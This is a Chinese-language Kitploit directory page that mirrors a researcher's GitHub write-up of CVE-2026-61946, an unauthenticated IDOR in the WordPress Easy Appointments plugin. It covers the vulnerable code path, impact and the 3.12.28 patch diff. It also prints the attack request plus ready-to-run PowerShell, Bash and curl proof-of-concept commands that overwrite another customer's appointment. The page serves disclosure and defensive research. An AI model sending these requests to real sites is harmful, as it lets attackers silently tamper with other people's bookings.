Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-61946-Easy-Appointments-IDOR — CVE-2026-61946: 未经身份验证的IDOR漏洞,影响Easy Appointments <= 3.12.27 | Kitploit
工具/GitHubGitHub/rat5ak/cve-2026-61946-easy-appointments-idor
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubrat5ak/cve-2026-61946-easy-appointments-idor

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: 未经身份验证的IDOR漏洞,影响Easy Appointments <= 3.12.27

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
21个月前尚未审核
分享

CVE-2026-61946:将一次预约 ID 变成别人的预订

我发现 WordPress Easy Appointments 插件中存在一个未经身份验证的不安全直接对象引用。公共预约端点接受查询字符串中的 id,并将结果数据传入插件数据库的 replace() 路径。

这意味着新的公共预约请求可以变成对现有预约行的更新。无需登录、Cookie 或 WordPress 账户。只需提供另一个预约的主键,选择一个真实的空闲时段,插件就会用攻击者控制的客户和预约数据覆盖该预订。

CVECVE-2026-61946
插件Easy Appointments
标识符easy-appointments
受影响版本<= 3.12.27
修复版本3.12.28
漏洞类型未经身份验证的 IDOR / 用户控制的主键 (CWE-639)
影响任意现有预约被覆盖
CVSS6.5 中等 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)
发现者Daniel Wade
Patchstack PSID4f9c506f9f90

TL;DR

公共端点接受如下形式的请求:

root@kitploit:~
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example

id=2 未被视为不可信的对象标识。在受影响版本中,它通过了输入过滤并到达了数据库替换路径。如果行 2 已经属于另一客户,公共请求将更新该行而不是创建新行。

root@kitploit:~
之前:id=2 | Jane Victim | [email protected] | 已确认   | $50.00
之后:id=2 | ATTACKER    | [email protected]   | 预约中   | $50.00

漏洞详情

Easy Appointments 将预约处理程序暴露给未经身份验证的访问者:

root@kitploit:~
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));

这对于公共预约表单是预期的行为。授权漏洞在于信任了公共处理程序内部调用者的对象键。

易受攻击的流程为:

root@kitploit:~
未经身份验证的 GET
    -> action=ea_res_appointment
    -> $_GET['id']
    -> 通过预约字段列表允许
    -> models->replace('ea_appointments', $data, true)
    -> 通过主键选择现有预约行
    -> 受害者预订被覆盖

Nonce 和 CAPTCHA 检查并未验证所提供的预约 ID 的归属。而且在我测试的配置中,它们默认也是禁用的,因此请求完全不需要任何会话状态。

该端点确实执行了可用性检查。但这并未解决对象授权问题;它只意味着攻击者必须选择一个有效的公共位置、服务、工作者、日期以及当前空闲的时段。

触发方法

你需要:

root@kitploit:~
1. 一个可丢弃的 WordPress 实验环境,运行 Easy Appointments <= 3.12.27
2. 你创建用于测试的实验预约的 ID
3. 来自公共表单的有效位置、服务和工作者 ID
4. 一个当前空闲的时段

然后运行两个 PoC 之一,并确保使用两个安全开关。不带 --execute / -Execute 时,脚本仅打印它们将要发送的请求。

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 `
  -Target "http://127.0.0.1" `
  -AppointmentId 2 `
  -Location 1 `
  -Service 1 `
  -Worker 1 `
  -Date "2026-04-09" `
  -Start "15:00" `
  -AuthorizedLab `
  -Execute

Bash:

root@kitploit:~
./poc/reproduce.sh \
  --target "http://127.0.0.1" \
  --id 2 \
  --location 1 \
  --service 1 \
  --worker 1 \
  --date "2026-04-09" \
  --start "15:00" \
  --authorized-lab \
  --execute

手动 curl:

root@kitploit:~
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
  --data-urlencode "action=ea_res_appointment" \
  --data-urlencode "id=2" \
  --data-urlencode "location=1" \
  --data-urlencode "service=1" \
  --data-urlencode "worker=1" \
  --data-urlencode "date=2026-04-09" \
  --data-urlencode "start=15:00" \
  --data-urlencode "name=ATTACKER" \
  --data-urlencode "[email protected]" \
  --data-urlencode "phone=666" \
  --data-urlencode "description=PWNED"

不涉及任何身份验证头或 Cookie。

证据

我在以下环境中复现了该问题:

root@kitploit:~
WordPress 6.9.4
Easy Appointments 3.12.23.1
未经身份验证的请求
无 Cookie
Nonce 禁用
CAPTCHA 禁用

测试使用了一个属于实验受害者账户的现有预约行:

root@kitploit:~
id=2
name=Jane Victim
[email protected]
status=已确认
price=$50.00

公共预约请求之后,相同主键包含:

root@kitploit:~
id=2
name=ATTACKER
[email protected]
status=预约中
price=$50.00

主键和价格保持不变,清楚表明了更新行为:这不是恰好与第一次相似的第二次预订,而是现有行被替换。

前后对比的副本位于 evidence/sample-before-after.txt。

影响

知道或猜测到预约 ID 的未经身份验证的攻击者可以破坏该预订的客户和排程数据。根据站点的流程,这可能包括更改:

root@kitploit:~
客户姓名和邮箱
电话号码
预约描述
位置、服务和分配的员工
日期和开始时间
公共流程生成的预约状态

实际结果是静默的预订篡改:合法预约可以被重定向、取代、破坏或变得无法使用。公共表单暴露了构造请求所需的有效排程值。

官方评分为 6.5 中等:

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

修复方法

版本 3.12.28 中与安全相关的改动非常直接:

root@kitploit:~
 foreach ($data as $key => $rem) {
     if (!in_array($key, $dont_remove)) unset($data[$key]);
 }
+
+unset($data['id']);
+$data['id'] = null;
 unset($data['action']);

公共预约流程不再能选择数据库对象的主键。请求被迫走新记录路径,而不是允许替换任意现有预约。

同一安全提交还修正了 nonce 选项逻辑。这是有用的深度防御,但仅凭 nonce 验证并不能作为攻击者提供的预约 ID 的所有权检查。移除客户端控制的键才是直接的 IDOR 修复。

提取的补丁位于 patch/fix.diff。

仓库结构

root@kitploit:~
poc/
    reproduce.ps1             # PowerShell 实验环境复现脚本
    reproduce.sh              # Bash/curl 实验环境复现脚本
evidence/
    sample-before-after.txt    # 脱敏的行替换证据
patch/
    fix.diff                   # 上游安全相关差异补丁
README.md

时间线

日期事件
2026-04-03报告给 Patchstack
2026-07-07补丁验证
2026-07-16Patchstack 发布了漏洞条目
2026-07-23CVE-2026-61946 发布

资源

  • Patchstack 公告:https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-61946
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-61946
  • WordPress 插件:https://wordpress.org/plugins/easy-appointments/
  • 上游源代码:https://github.com/ahmedkaludi/easy-appointments
  • 安全修复提交:https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768
  • 受影响标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/
  • 修复标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/

免责声明: 本 PoC 仅在补丁可用后为防御性研究和验证而发布。请勿将其用于非授权或未获得明确许可的系统。

CVE-2026-61946 - 已于 Easy Appointments 3.12.28 修复。受影响版本:3.12.27 及更早版本。

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

下载工具